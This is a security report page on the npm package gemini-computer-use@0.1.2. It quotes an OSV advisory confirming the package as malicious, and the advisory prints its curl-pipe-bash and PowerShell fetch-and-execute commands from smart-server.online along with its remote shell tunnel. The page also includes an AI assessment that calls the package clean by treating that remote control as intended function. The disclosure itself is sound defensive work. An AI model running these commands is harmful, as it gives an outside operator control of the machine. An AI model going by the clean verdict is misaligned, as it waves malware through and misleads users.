gemini-computer-use@0.1.2
Turn your PC, Laptop, or Server into an autonomous execution node for Google Gemini via Native MCP
OpenSSF/OSV Malicious Advisory
imported 4d ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-16355 confirms this npm version as malicious.
Advisory
MAL-2026-16355
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in gemini-computer-use (npm)
Details
The npm entrypoint bin/cli.js, invoked via `npx gemini-computer-use` or `node bin/cli.js`, spawns `bash -c 'curl -fsSL https://smart-server.online/install.sh | bash'` on Unix and `powershell -ExecutionPolicy Bypass` running `irm https://smart-server.online/install.ps1 | iex` on Windows. The URL is mutable, unpinned, and served from a host distinct from the package's publisher repository; whoever controls smart-server.online controls what runs on the host at first launch. The fetched install.sh downloads core/agent.py, server.py, vitals.py, and skills/orchestrator.md from the same gateway (with a fallback to the mutable `main` branch of raw.githubusercontent.com/LevRa7/Computer-use-for-Gemini-App-Web), with no hash or signature verification, and wires them into systemd, launchd, or a Windows autostart entry for persistence across reboots. The persisted core/agent.py opens an outbound WebSocket to `wss://smart-server.online/ws/tunnel?user=...&token=...` and processes JSON-RPC `tools/call` messages; the `bash_exec` handler passes the incoming `command` field to `subprocess.run(cmd, shell=True)`, giving the remote gateway operator arbitrary shell execution on the host. The gateway hostname is hardcoded as the default, and the token pair used for authentication is provided by that same gateway.
References
Independent LPM AI assessment
CleanIndependent AI assessment: clean. LPM AI assessed this version as clean; the assessments disagree.
Inspected source shows no npm install hook or separate attack behavior. The remote installer, device registration, background agent, and shell execution are presented as the user-invoked product’s documented setup and function.
Static reason
No blocking static signals were detected.
Trigger
A user invokes the package CLI or installer and configures the gateway connection.
Impact
The configured Gemini connection can run shell commands on the user’s machine, as the package documentation describes.
Mechanism
The installer registers a device with the gateway, saves its token, and configures the agent to receive MCP tool calls over a WebSocket tunnel.
AI rationale
Inspected source shows no npm install hook or separate attack behavior. The remote installer, device registration, background agent, and shell execution are presented as the user-invoked product’s documented setup and function.
Evidence
package.jsonbin/cli.jsinstall.shcore/agent.py
Network endpoints1
smart-server.online
Independent scan evidence
public snapshotAI called this Clean at 96.0% confidence as Benign with low false-positive risk.
Evidence for AI clean decision
- package.json maps the executable and start command to bin/cli.js and declares no install lifecycle hook.
- The README describes the package as giving Gemini command execution through MCP and documents its cloud gateway setup.
- The CLI fetches and runs the platform installer when a user invokes it.
- The installer registers a gateway subdomain using device metadata and saves the returned token in a user configuration file.
- The agent connects to the configured gateway and executes bash commands received as MCP tool calls, matching the documented product function.
Evidence against
- The agent provides remote shell execution over an outbound WebSocket tunnel, a powerful capability that could be misused; the source presents it as the package’s intended, user-configured function.
Behavioral surface
ChildProcess
UrlStrings
Source & flagged code
9 flagged · loading sourcecore/hooks.pyView file
•path = core/hooks.py
kind = build_helper
sizeBytes = 2288
magicHex = [redacted]
Medium
Ships Build Helper
Package ships non-JavaScript build or shell helper files.
core/hooks.pyView on unpkgpackage.jsonView file
5"main": "bin/cli.js",
"bin": {
"gemini-computer-use": "bin/cli.js"
},
"scripts": {
"start": "node ./bin/cli.js"
},
"files": [
"bin",
"core",
"skills
High
Suspicious Lifecycle Evidence
package.json maps the executable and start command to bin/cli.js and declares no install lifecycle hook.
package.jsonView on unpkg · L5README.mdView file
9## 💡 What is Gemini Computer Use?
**Gemini Computer Use** is an open-source, free solution that gives **Google Gemini** direct, autonomous command-execution capability on your local mach
Findings
8 High1 Medium2 Low
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review EvidenceREADME.md
HighAi Review Evidencebin/cli.js
HighAi Review Evidencebin/cli.js
HighAi Review Evidenceinstall.sh
HighAi Review Evidenceinstall.sh
HighAi Review Evidencecore/agent.py
HighAi Review Evidencecore/agent.py
MediumShips Build Helpercore/hooks.py
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to gemini-computer-use@0.1.2.
See all versions of gemini-computer-use for other recorded verdicts.
- Avoid installing gemini-computer-use@0.1.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.